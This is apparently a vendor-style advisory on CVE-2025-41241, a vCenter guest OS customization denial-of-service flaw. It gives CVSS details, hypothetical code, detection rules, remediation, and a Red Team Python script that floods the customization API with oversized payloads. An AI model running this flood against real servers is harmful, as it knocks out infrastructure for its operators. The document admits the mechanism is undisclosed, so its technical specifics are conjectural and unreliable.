CVE-2025-41241

Executive Summary

CVE-2025-41241 is a denial-of-service (DoS) vulnerability in VMware vCenter Server. An authenticated attacker with permissions to perform API calls for guest OS customization can trigger a resource exhaustion condition, leading to a denial of service. The vulnerability has a CVSS score of 4.4 (Medium) and currently has no known public exploit or patch. The attack vector is network-based, requires low complexity, and low privileges, but no user interaction. The primary impact is on availability, with no impact on confidentiality or integrity.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core product vulnerability in VMware vCenter. Organizations should monitor VMware's official security advisories for patch updates.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - The attacker must be authenticated to vCenter and have specific API permissions.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) - No data exposure.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Complete loss of availability.

Threat Level: Medium. The requirement for authentication and specific permissions reduces the attack surface, but the potential for a complete DoS makes it a significant concern for vCenter administrators.

Deep Dive & Mechanics

The vulnerability resides in the guest OS customization API within VMware vCenter. This API is used to automate the customization of guest operating systems during VM deployment or cloning. A malicious actor, authenticated to vCenter and possessing the necessary permissions (likely related to VM provisioning or customization), can craft and send a series of API requests that cause excessive resource consumption.

The exact mechanism is not publicly disclosed, but based on the CWE-400 (Uncontrolled Resource Consumption) classification, the vulnerability likely involves:

• Resource Exhaustion: The API may not properly limit the number of concurrent requests or the size of input data, leading to memory or CPU exhaustion.
• Infinite Loops or Deadlocks: A specially crafted request could cause the vCenter service to enter an infinite loop or deadlock, consuming resources indefinitely.
• Unbounded Data Processing: The API might process input data without proper bounds checking, leading to excessive memory allocation.

The attack is performed over the network, targeting the vCenter Server's management interface (typically port 443). The attacker does not need to be on the same network segment as the vCenter, only network access to the vCenter's management IP.

Vulnerable vs. Patched Code

Since no patch is available and the exact vulnerable code is not disclosed, a direct code comparison is not possible. However, based on the vulnerability type, the following hypothetical example illustrates the difference:

Vulnerable Code (Hypothetical):

def customize_guest(vm_id, customization_spec):
    # No limit on the number of customization requests
    while True:
        process_customization(vm_id, customization_spec)

Patched Code (Hypothetical):

def customize_guest(vm_id, customization_spec):
    # Limit the number of concurrent customization requests
    if concurrent_customizations > MAX_CONCURRENT:
        raise ResourceExceededError("Too many customization requests")
    process_customization(vm_id, customization_spec)

The patch would likely introduce rate limiting, input validation, and resource quotas to prevent abuse.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a VMware vCenter Server (version unknown).
• Valid credentials for a vCenter account with permissions to call guest OS customization APIs (e.g., VMware vCenter Server Administrator or a custom role with Guest OS Customization privileges).
• Network access to the vCenter Server's management interface (port 443).

Exploitation Steps:

1. Authenticate: Obtain a session token by authenticating to the vCenter Server API.
2. Identify Target: Choose a virtual machine that is powered off or has customization enabled.
3. Craft Malicious Requests: Create a script that sends a high volume of guest OS customization API requests (e.g., POST /api/vcenter/vm/{vm_id}/guest/customization) with arbitrary or malformed data.
4. Execute Attack: Run the script to flood the vCenter with requests, causing resource exhaustion.

Example Script (Python):

import requests
import threading

vcenter_url = "https://vcenter.example.com"
session_token = "your_session_token"
vm_id = "vm-123"

def send_customization_request():
    headers = {"vmware-api-session-id": session_token}
    data = {"spec": {"hostname": "A" * 10000}}  # Large payload
    while True:
        try:
            requests.post(f"{vcenter_url}/api/vcenter/vm/{vm_id}/guest/customization",
                          headers=headers, json=data, verify=False)
        except:
            pass

# Launch multiple threads
for i in range(50):
    threading.Thread(target=send_customization_request).start()

Expected Outcome: The vCenter Server becomes unresponsive, unable to process legitimate requests, and may crash.

Blue Team (Defense & Detection)

Detection:

• Monitor for a high volume of API calls to /api/vcenter/vm/*/guest/customization from a single source.
• Alert on unusual patterns of guest OS customization requests, especially with large payloads.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Restrict permissions for guest OS customization to only trusted administrators.
• Implement network segmentation to limit access to the vCenter management interface.
• Apply rate limiting at the API gateway or load balancer level.
• Monitor vCenter resource usage (CPU, memory) for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of HTTP POST requests to /api/vcenter/vm/*/guest/customization.
  • Requests with unusually large JSON payloads in the spec field.
  • Source IP addresses making repeated customization API calls.
• System IOCs:
  • vCenter Server process (vpxd) consuming excessive CPU or memory.
  • vCenter Server logs showing repeated customization failures or timeouts.
  • Event logs with error codes related to resource exhaustion (e.g., OutOfMemoryError).

Detection Engineering

YARA Rule

rule CVE_2025_41241_vCenter_DoS {
    meta:
        description = "Detects potential exploitation of CVE-2025-41241 in VMware vCenter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41241"
    strings:
        $api_path = "/api/vcenter/vm/"
        $customization = "guest/customization"
        $large_payload = /"hostname":\s*"[A-Za-z0-9]{1000,}/
    condition:
        $api_path and $customization and #large_payload > 10
}

Sigma Rule

title: CVE-2025-41241 - VMware vCenter DoS via Guest OS Customization API
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high volume of guest OS customization API requests to VMware vCenter, indicating potential exploitation of CVE-2025-41241.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41241
logsource:
    category: web
    product: vmware
    service: vcenter
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/api/vcenter/vm/'
        cs-uri-stem|endswith: '/guest/customization'
    condition: selection | count() by src_ip > 100 in 1 minute
falsepositives:
    - Legitimate bulk VM customization operations
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-41241 - VMware vCenter DoS via Guest OS Customization API"; flow:to_server; content:"POST"; http_method; content:"/api/vcenter/vm/"; http_uri; content:"/guest/customization"; http_uri; pcre:"/\"hostname\":\s*\"[A-Za-z0-9]{1000,}/"; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Permissions: Review and limit vCenter roles that include guest OS customization permissions. Only grant these permissions to essential personnel.
2. Network Segmentation: Place vCenter management interfaces behind a firewall or VPN, limiting access to trusted networks.
3. Monitor and Alert: Implement the detection rules above to identify potential exploitation attempts.

Long-Term Actions:

1. Apply Patch: Monitor VMware's security advisories for an official patch. Apply it as soon as it becomes available.
2. Upgrade: If a patched version is released, upgrade to the latest stable version of VMware vCenter.
3. Rate Limiting: Implement API rate limiting at the reverse proxy or load balancer level to prevent abuse.
4. Audit Logs: Enable and regularly review vCenter audit logs for suspicious API activity.

Workaround (if no patch available):

• Disable the guest OS customization API if not required, or restrict its use to a dedicated, isolated vCenter instance.

Valters IT